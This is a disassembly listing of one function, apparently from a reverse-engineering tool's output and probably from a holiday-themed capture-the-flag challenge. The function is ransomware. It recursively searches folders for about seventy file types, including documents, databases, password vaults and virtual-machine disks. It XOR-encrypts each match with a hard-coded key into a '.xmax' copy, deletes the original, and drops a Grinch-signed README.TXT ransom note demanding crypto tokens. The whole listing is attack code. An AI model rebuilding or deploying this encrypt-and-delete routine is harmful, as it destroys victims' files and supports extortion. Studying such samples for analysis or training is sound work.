Function at 0x180001330
Capabilities:
Delete file
Get common file path

Disassembly:
push rbp
push rsi
push r14
lea rbp, [rsp - 0x1010]
mov eax, 0x1110
call fcn.180002b00
sub rsp, rax
mov rax, qword [0x180005008]
xor rax, rsp
mov qword [rbp + 0xff0], rax
lea rax, str..3ds
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x50], rax
mov rsi, rcx
lea rax, str..jpg
mov qword [rsp + 0x58], rax
lea rax, str..JPG
mov qword [rsp + 0x60], rax
lea rax, str..png
mov qword [rsp + 0x68], rax
lea rax, str..PNG
mov qword [rsp + 0x70], rax
lea rax, [0x18000355c]
mov qword [rsp + 0x78], rax
lea rax, [0x180003560]
mov qword [rbp - 0x80], rax
lea rax, str..asp
mov qword [rbp - 0x78], rax
lea rax, str..bak
mov qword [rbp - 0x70], rax
lea rax, [0x180003574]
mov qword [rbp - 0x68], rax
lea rax, str..cfg
mov qword [rbp - 0x60], rax
lea rax, str..cpp
mov qword [rbp - 0x58], rax
lea rax, [0x180003588]
mov qword [rbp - 0x50], rax
lea rax, str..ctl
mov qword [rbp - 0x48], rax
lea rax, str..dbf
mov qword [rbp - 0x40], rax
lea rax, str..doc
mov qword [rbp - 0x38], rax
lea rax, str..dwg
mov qword [rbp - 0x30], rax
lea rax, str..eml
mov qword [rbp - 0x28], rax
lea rax, str..fdb
mov qword [rbp - 0x20], rax
lea rax, [0x1800035bc]
mov qword [rbp - 0x18], rax
lea rax, [0x1800035c0]
mov qword [rbp - 0x10], rax
lea rax, str..hdd
mov qword [rbp - 8], rax
lea rax, str..mdb
mov qword [rbp], rax
lea rax, str..msg
mov qword [rbp + 8], rax
lea rax, str..nrg
mov qword [rbp + 0x10], rax
lea rax, str..ora
mov qword [rbp + 0x18], rax
lea rax, str..ost
mov qword [rbp + 0x20], rax
lea rax, str..ova
mov qword [rbp + 0x28], rax
lea rax, str..ovf
mov qword [rbp + 0x30], rax
lea rax, str..pdf
mov qword [rbp + 0x38], rax
lea rax, str..php
mov qword [rbp + 0x40], rax
lea rax, str..pmf
mov qword [rbp + 0x48], rax
lea rax, str..ppt
mov qword [rbp + 0x50], rax
lea rax, str..pst
mov qword [rbp + 0x58], rax
lea rax, str..pvi
mov qword [rbp + 0x60], rax
lea rax, [0x180003634]
mov qword [rbp + 0x68], rax
lea rax, str..pyc
mov qword [rbp + 0x70], rax
lea rax, str..rar
mov qword [rbp + 0x78], rax
lea rax, str..rtf
mov qword [rbp + 0x80], rax
lea rax, str..sln
mov qword [rbp + 0x88], rax
lea rax, str..sql
mov qword [rbp + 0x90], rax
lea rax, str..tar
mov qword [rbp + 0x98], rax
lea rax, str..vbs
mov qword [rbp + 0xa0], rax
lea rax, str..vcb
mov qword [rbp + 0xa8], rax
lea rax, str..vdi
mov qword [rbp + 0xb0], rax
lea rax, str..vfd
mov qword [rbp + 0xb8], rax
lea rax, str..vmc
mov qword [rbp + 0xc0], rax
lea rax, str..vmx
mov qword [rbp + 0xc8], rax
lea rax, str..vsv
mov qword [rbp + 0xd0], rax
lea rax, str..xls
mov qword [rbp + 0xd8], rax
lea rax, str..xvd
mov qword [rbp + 0xe0], rax
lea rax, str..zip
mov qword [rbp + 0xe8], rax
lea rax, str..accdb
mov qword [rbp + 0xf0], rax
lea rax, str..aspx
mov qword [rbp + 0xf8], rax
lea rax, str..avhd
mov qword [rbp + 0x100], rax
lea rax, str..back
mov qword [rbp + 0x108], rax
lea rax, str..conf
mov qword [rbp + 0x110], rax
lea rax, str..disk
mov qword [rbp + 0x118], rax
lea rax, str..djvu
mov qword [rbp + 0x120], rax
lea rax, str..docx
mov qword [rbp + 0x128], rax
lea rax, str..kdbx
mov qword [rbp + 0x130], rax
lea rax, str..mail
mov qword [rbp + 0x138], rax
lea rax, str..pptx
mov qword [rbp + 0x140], rax
lea rax, str..vbox
mov qword [rbp + 0x148], rax
lea rax, str..vmdk
mov qword [rbp + 0x150], rax
lea rax, str..vmsd
mov qword [rbp + 0x158], rax
lea rax, str..vsdx
mov qword [rbp + 0x160], rax
lea rax, str..work
mov qword [rbp + 0x168], rax
lea rax, str..xlsx
mov qword [rbp + 0x170], rax
call fcn.1800010f0
mov qword [rsp + 0x40], rax
mov r14, rax
test rax, rax
je 0x180001ca6
mov qword [rsp + 0x1138], rbx
mov qword [rsp + 0x1140], rdi
mov qword [rsp + 0x1148], r12
mov qword [rsp + 0x1108], r13
mov qword [rsp + 0x1100], r15
mov r15d, 0x128
mov r13d, 0x4000
nop word [rax + rax]
mov rbx, qword [r14 + 0x128]
cmp dword [rbx + 0x478], 0
je 0x180001733
lea rdi, [rbx + 0x228]
mov dword [rbx + 0x478], 0
jmp 0x18000175c
mov rcx, qword [rbx + 0x480]
cmp rcx, 0xffffffffffffffff
je 0x180001c5e
lea rdi, [rbx + 0x228]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0x180001c46
test rdi, rdi
je 0x180001c5e
lea r12, [r14 + 0x1c]
mov qword [rsp + 0x20], 0x105
mov rdx, r12
mov qword [rsp + 0x30], r12
lea r9, [rdi + 0x2c]
mov r8d, 0x105
lea rcx, [rbp + 0x1a8]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_wcstombs_s]
test eax, eax
je 0x1800017c6
lea r9, [rdi + 0x234]
cmp word [r9], 0
je 0x1800017c2
mov r8d, 0x105
mov qword [rsp + 0x20], 0x105
mov rdx, r12
lea rcx, [rbp + 0x1a8]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_wcstombs_s]
test eax, eax
jne 0x180001801
mov rax, qword [rbp + 0x1a8]
dec rax
mov qword [r14 + 0x10], rax
mov eax, dword [rdi]
test al, 0x40
je 0x1800017ea
mov dword [r14 + 0x18], 0x2000
movzx ecx, r15w
xor eax, eax
jmp 0x180001822
test al, 0x10
movzx ecx, r15w
mov eax, 0x8000
cmovne eax, r13d
mov dword [r14 + 0x18], eax
xor eax, eax
jmp 0x180001822
mov byte [r12], 0x3f
xor ecx, ecx
mov byte [r14 + 0x1d], 0
mov eax, 0xffffffff
mov qword [r14 + 0x10], 1
mov dword [r14 + 0x18], 0
mov dword [r14], 0
mov dword [r14 + 4], eax
mov rax, 0xffffffffffffffff
mov word [r14 + 8], cx
nop dword [rax]
inc rax
cmp byte [rsi + rax], 0
jne 0x180001840
cmp rax, 0x3e8
jae 0x180001710
movzx eax, byte [r12]
cmp al, byte [0x180003740]
jne 0x180001874
movzx eax, byte [r12 + 1]
cmp al, byte [0x180003741]
je 0x180001710
movzx eax, byte [r12]
cmp al, byte [0x180003744]
jne 0x1800018a1
movzx eax, byte [r12 + 1]
cmp al, byte [0x180003745]
jne 0x1800018a1
movzx eax, byte [r12 + 2]
cmp al, byte [0x180003746]
je 0x180001710
xor r13d, r13d
nop dword [rax]
nop dword [rax + rax]
mov rdx, qword [rsp + r13*8 + 0x50]
mov rcx, r12
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
je 0x180001bb2
mov eax, dword [str..xmax]
lea rdx, [rbp + 0x1b0]
mov dword [rbp + 0x180], eax
mov rcx, rsi
movzx eax, word [0x18000374c]
sub rdx, rsi
mov word [rbp + 0x184], ax
nop
movzx eax, byte [rcx]
mov byte [rdx + rcx], al
lea rcx, [rcx + 1]
test al, al
jne 0x1800018f0
lea rcx, [rbp + 0x1b0]
dec rcx
nop dword [rax + rax]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x180001910
movzx eax, word [0x180003750]
mov word [rcx], ax
lea rcx, [rbp + 0x1b0]
dec rcx
nop
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x180001930
xor edx, edx
nop dword [rax]
movzx eax, byte [r12 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x180001940
xor ecx, ecx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rbp + rcx + 0x1b0]
mov byte [rbp + rcx + 0x4d0], al
lea rcx, [rcx + 1]
test al, al
jne 0x180001960
lea rcx, [rbp + 0x4d0]
dec rcx
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x180001981
lea r8, [rbp + 0x180]
xor edx, edx
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x1800019a0
lea rdx, [rbp + 0x4d0]
lea rcx, [0x180003754]
call fcn.180001020
lea rdx, [0x180003208]
lea rcx, [rbp + 0x1b0]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov r15, rax
test rax, rax
je 0x180001a69
lea rdx, [0x18000320c]
lea rcx, [rbp + 0x4d0]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov r14, rax
test rax, rax
je 0x180001a69
xor edi, edi
lea r12, str.EncryptingC4Fun_
xor esi, esi
nop word [rax + rax]
xor ebx, ebx
mov rcx, r15
cmp rsi, 0x10
cmovl rbx, rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgetc]
xor ecx, ecx
cmp rsi, 0x10
lea rsi, [rbx + 1]
cmovl ecx, edi
lea edi, [rcx + 1]
cmp eax, 0xffffffff
je 0x180001a4a
movsx ecx, byte [rbx + r12]
mov rdx, r14
xor ecx, eax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
jmp 0x180001a10
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov r12, qword [rsp + 0x30]
test eax, eax
jne 0x180001a69
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test eax, eax
je 0x180001a75
lea rcx, str._nXOR_operation_failed_
call fcn.180001020
inc dword [0x180005628]
lea rdx, [rbp + 0x7f0]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea rdx, [rbp + 0xcf0]
mov ecx, 5
lea rax, str.Dear_Santa_Claus__n_nIts_time_for_a_holiday_twist_you_didnt_see_coming._Yours_truly__the_Grinch__has_taken_over_your_Christmas_operation._Not_only_have_I_got_my_hands_on_your_list_of_gift_recipients__but_I_also_hold_the_infamous_Naughty_List._The_world_is_on_the_edge_of_discovering_whos_been_less_than_angelic_this_year__n_nTo_keep_Christmas_from_turning_into_a_scandal__I_demand_a_ransom_of_5_000_000_XMAS_tokens._Deposit_them_into_my_crypto_wallet:_GR1NCH_5ANTA_2023XMAS._Delay_or_non_compliance_will_lead_to_the_Naughty_List_becoming_public_knowledge__destroying_the_festive_spirit_across_the_globe._n_nTick_tock__Santa._The_deadline_is_midnight_on_Christmas_Eve._Make_the_right_choice._Together__we_can_still_save_Christmas._n_nSinister_holiday_wishes__nThe_Grinch
nop dword [rax]
nop word [rax + rax]
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rdx - 0x20], xmm0
movups xmmword [rdx - 0x10], xmm1
sub rcx, 1
jne 0x180001ab0
mov rcx, qword [rax + 0x70]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmmword [rdx + 0x60], xmm0
mov qword [rdx + 0x70], rcx
mov ecx, dword [rax + 0x78]
mov dword [rdx + 0x78], ecx
lea rcx, [rbp + 0x7f0]
dec rcx
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x180001b51
movsd xmm0, qword [str.README.TXT]
lea rdx, [0x18000351c]
mov eax, dword [0x180003518]
movsd qword [rcx], xmm0
mov dword [rcx + 8], eax
lea rcx, [rbp + 0x7f0]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rdx, rax
lea rcx, [rbp + 0xcf0]
mov rbx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputs]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
lea rcx, [rbp + 0x1b0]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov rsi, qword [rsp + 0x38]
inc r13
cmp r13, 0x45
jl 0x1800018b0
lea rdx, [rbp + 0x900]
mov rcx, rsi
sub rdx, rsi
nop dword [rax]
movzx eax, byte [rcx]
mov byte [rcx + rdx], al
lea rcx, [rcx + 1]
test al, al
jne 0x180001bd0
lea rcx, [rbp + 0x900]
dec rcx
nop dword [rax + rax]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x180001bf0
movzx eax, word [0x180003750]
mov word [rcx], ax
lea rcx, [rbp + 0x900]
dec rcx
nop
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x180001c10
xor edx, edx
nop dword [rax]
movzx eax, byte [r12 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x180001c20
lea rcx, [rbp + 0x900]
call fcn.180001330
mov r14, qword [rsp + 0x40]
jmp 0x1800016fb
mov rcx, qword [rbx + 0x480]
call qword [sym.imp.KERNEL32.dll_FindClose]
mov qword [rbx + 0x480], 0xffffffffffffffff
mov rcx, qword [r14 + 0x128]
call fcn.180001080
mov rcx, r14
mov qword [r14 + 0x128], 0
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov r15, qword [rsp + 0x1100]
mov r13, qword [rsp + 0x1108]
mov r12, qword [rsp + 0x1148]
mov rdi, qword [rsp + 0x1140]
mov rbx, qword [rsp + 0x1138]
mov rcx, qword [rbp + 0xff0]
xor rcx, rsp
call fcn.180001d40
add rsp, 0x1110
pop r14
pop rsi
pop rbp
ret